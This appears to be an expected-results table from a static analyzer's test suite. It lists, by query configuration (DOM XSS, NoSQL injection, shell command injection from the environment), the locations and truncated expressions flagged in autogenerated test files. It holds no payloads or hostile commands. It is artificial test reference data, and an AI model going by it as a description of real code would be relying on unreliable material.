| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/various-concat-obfuscations.js:5:12:5:18 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/various-concat-obfuscations.js:7:14:7:20 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/various-concat-obfuscations.js:9:19:9:25 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/various-concat-obfuscations.js:10:16:10:22 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/various-concat-obfuscations.js:12:19:12:25 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/DomBasedXss/various-concat-obfuscations.js:15:27:15:55 | (attrs. ... 'left') |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:5:11:5:11 | x |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:9:11:9:13 | foo |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:21:11:21:21 | foo + "bar" |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:27:19:27:21 | foo |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:33:11:33:22 | ["bar", foo] |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:33:19:33:21 | foo |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:68:19:68:21 | foo |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:89:11:89:26 | foo.match(/foo/) |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:95:11:95:22 | [foo, "bar"] |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:95:12:95:14 | foo |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:102:12:102:14 | foo |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:117:11:117:23 | req.params.id |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:128:11:128:52 | session ... ssion') |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:136:10:136:22 | req.params.id |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:148:33:148:35 | foo |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:171:11:171:17 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:180:10:180:22 | req.params.id |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:32:5:32:22 | ['body', req.body] |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:32:14:32:21 | req.body |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:70:47:70:54 | req.body |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:99:31:99:38 | req.body |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:102:68:102:75 | req.body |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXssGood.js:19:45:19:57 | req.params.id |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/live-server.js:6:28:6:34 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/live-server.js:12:28:12:34 | tainted |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:13:42:13:48 | req.url |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:40:42:40:50 | [req.url] |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:40:43:40:49 | req.url |
|
||||
| DomBasedXssAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:49:38:49:44 | req.url |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:14:24:14:32 | { id: v } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:22:27:22:35 | { id: v } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:23:27:23:35 | { id: v } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/json-schema-validator.js:25:23:25:48 | JSON.pa ... y.data) |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/json-schema-validator.js:26:25:26:29 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/json-schema-validator.js:50:23:50:48 | JSON.pa ... y.data) |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:64:5:64:49 | `(\|(nam ... ame}))` |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/marsdb-flow-to.js:10:17:10:18 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/marsdb.js:12:17:12:18 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/minimongo.js:14:17:14:18 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:12:19:12:20 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:48:19:48:20 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:59:16:59:17 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:106:17:106:18 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb_bodySafe.js:12:19:12:20 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb_bodySafe.js:23:19:23:20 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:20:19:20:20 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:76:12:76:16 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:81:37:81:41 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:86:46:86:50 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:88:51:88:55 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:90:49:90:53 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:93:43:93:47 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:95:48:95:52 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:97:46:97:50 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:99:44:99:48 | query |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseJsonParse.js:19:19:19:20 | {} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:6:15:7:55 | "SELECT ... PRICE" |
|
||||
| NosqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/redis.js:52:28:52:30 | key |
|
||||
| NosqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:85:37:85:54 | req.query.fileName |
|
||||
| NosqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/other.js:33:12:33:69 | "http:/ ... ry.user |
|
||||
| NosqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/other.js:34:33:34:48 | { command: cmd } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:29:38:29:62 | { path: ... .path } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:33:34:33:58 | { name: ... .name } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:37:35:37:59 | { name: ... .name } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:41:33:44:5 | {\\n ... )\\n } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:48:33:51:5 | {\\n ... "\\n } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:312:19:312:22 | path |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:321:19:321:32 | normalizedPath |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:328:19:328:32 | normalizedPath |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:381:25:381:28 | path |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/other-fs-libraries.js:62:37:62:47 | {cwd: path} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/other-fs-libraries.js:63:45:63:55 | {cwd: path} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/pupeteer.js:9:20:9:50 | { path: ... 'a4' } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/TaintedPath/pupeteer.js:13:29:13:45 | { path: tainted } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/clipboard.ts:19:26:19:28 | div |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/clipboard.ts:54:30:54:32 | div |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/dates.js:15:65:15:69 | taint |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/dates.js:17:49:17:53 | taint |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/dragAndDrop.ts:19:26:19:28 | div |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/dragAndDrop.ts:54:30:54:32 | div |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/nodemailer.js:8:22:14:3 | {\\n f ... OK\\n } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/nodemailer.js:10:30:10:47 | req.query.receiver |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:6:27:6:32 | data.w |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:11:36:11:41 | data.w |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:15:23:15:29 | data[p] |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:15:37:15:42 | target |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:83:29:83:52 | documen ... .search |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:86:31:86:54 | documen ... .search |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:87:28:87:51 | documen ... .search |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:199:32:199:75 | {danger ... inted}} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:200:32:200:75 | {danger ... inted}} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:361:14:361:19 | target |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:442:25:442:40 | {"html": source} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:444:35:444:50 | {"html": source} |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:5:11:5:11 | x |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:9:11:9:13 | foo |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:21:11:21:21 | foo + "bar" |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:27:11:27:23 | { prop: foo } |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:33:11:33:22 | ["bar", foo] |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:68:19:68:21 | foo |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:89:11:89:26 | foo.match(/foo/) |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:95:11:95:22 | [foo, "bar"] |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:102:12:102:14 | foo |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:117:11:117:23 | req.params.id |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:128:11:128:52 | session ... ssion') |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:136:10:136:22 | req.params.id |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:148:33:148:35 | foo |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:171:11:171:17 | tainted |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:180:10:180:22 | req.params.id |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:70:47:70:54 | req.body |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:99:31:99:38 | req.body |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:102:68:102:75 | req.body |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:13:42:13:48 | req.url |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:40:42:40:50 | [req.url] |
|
||||
| NosqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:49:38:49:44 | req.url |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/ShellCommandInjectionFromEnvironment/tst_shell-command-injection-from-environment.js:5:33:5:60 | path.jo ... "temp") |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/ShellCommandInjectionFromEnvironment/tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/ShellCommandInjectionFromEnvironment/tst_shell-command-injection-from-environment.js:8:26:8:53 | path.jo ... "temp") |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/ShellCommandInjectionFromEnvironment/tst_shell-command-injection-from-environment.js:9:30:9:57 | path.jo ... "temp") |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/TaintedPath.js:104:32:104:39 | realpath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/TaintedPath.js:104:32:104:39 | realpath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:117:7:117:44 | path |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:117:14:117:44 | fs.real ... y.path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:122:7:122:10 | path |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:122:7:122:21 | path.startsWith |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:236:7:236:47 | path |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:236:14:236:47 | pathMod ... y.path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:242:7:242:10 | path |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:242:7:242:20 | path.substring |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:242:7:242:40 | path.su ... length) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:247:7:247:10 | path |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:247:7:247:16 | path.slice |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:247:7:247:36 | path.sl ... length) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:254:7:254:47 | path |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:254:14:254:47 | pathMod ... y.path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:260:7:260:56 | relative |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:260:18:260:56 | pathMod ... , path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:261:6:261:13 | relative |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:261:6:261:24 | relative.startsWith |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:261:52:261:59 | relative |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:267:7:267:42 | newpath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:267:17:267:42 | pathMod ... e(path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:268:7:268:85 | relativePath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:268:22:268:85 | pathMod ... ewpath) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:269:7:269:18 | relativePath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:275:7:275:42 | newpath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:275:17:275:42 | pathMod ... e(path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:276:7:276:85 | relativePath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:276:22:276:85 | pathMod ... ewpath) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:277:7:277:18 | relativePath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:283:7:283:42 | newpath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:283:17:283:42 | pathMod ... e(path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:284:7:284:85 | relativePath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:284:22:284:85 | pathMod ... ewpath) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:285:7:285:40 | pathMod ... vePath) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:291:7:291:42 | newpath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:291:17:291:42 | pathMod ... e(path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:292:7:292:85 | relativePath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:292:22:292:85 | pathMod ... ewpath) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:293:7:293:40 | pathMod ... vePath) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:339:6:339:46 | path |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:339:13:339:46 | pathMod ... y.path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:343:6:343:35 | abs |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:343:12:343:35 | pathMod ... e(path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:345:6:345:8 | abs |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:352:5:352:12 | rootPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:352:5:352:28 | rootPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:352:16:352:28 | process.cwd() |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:353:33:353:32 | rootPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:358:7:358:51 | requestPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:358:21:358:51 | pathMod ... , path) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:362:5:362:25 | targetP ... ootPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:362:5:362:25 | targetPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:362:18:362:25 | rootPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:368:3:368:3 | targetPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:370:22:370:32 | requestPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:370:22:370:32 | requestPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:370:35:370:42 | rootPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:370:35:370:42 | rootPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:371:12:371:22 | requestPath |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/tainted-require.js:14:43:14:51 | __dirname |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/tainted-sendFile.js:20:7:20:33 | homeDir |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/tainted-sendFile.js:20:17:20:33 | path.resolve('.') |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/tainted-sendFile.js:21:16:21:22 | homeDir |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/tainted-sendFile.js:21:16:21:33 | homeDir + '/data/' |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/TaintedPath/tainted-sendFile.js:27:16:27:22 | homeDir |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:7:43:7:48 | files1 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:7:43:7:48 | files1 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:17:5:23:5 | return of function format |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:17:21:17:26 | files2 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:17:21:17:26 | files2 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:18:13:18:18 | files3 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:18:13:18:23 | files3 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:18:22:18:23 | [] |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:19:9:19:14 | files2 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:19:9:19:19 | files2.sort |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:19:9:19:25 | files2.sort(sort) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:19:9:19:33 | files2. ... forEach |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:19:35:19:34 | files3 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:19:45:19:48 | file |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:19:45:19:48 | file |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:20:13:20:18 | files3 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:20:13:20:23 | files3.push |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:20:25:20:37 | '<li>' + file |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:20:34:20:37 | file |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:22:16:22:21 | files3 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:22:16:22:26 | files3.join |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:22:16:22:30 | files3.join('') |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:25:43:25:48 | files1 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:25:43:25:48 | files1 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:29:13:29:18 | files2 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:29:13:29:23 | files2 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:29:22:29:23 | [] |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:30:9:30:14 | files1 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:30:9:30:22 | files1.forEach |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:30:24:30:23 | files2 |
|
||||
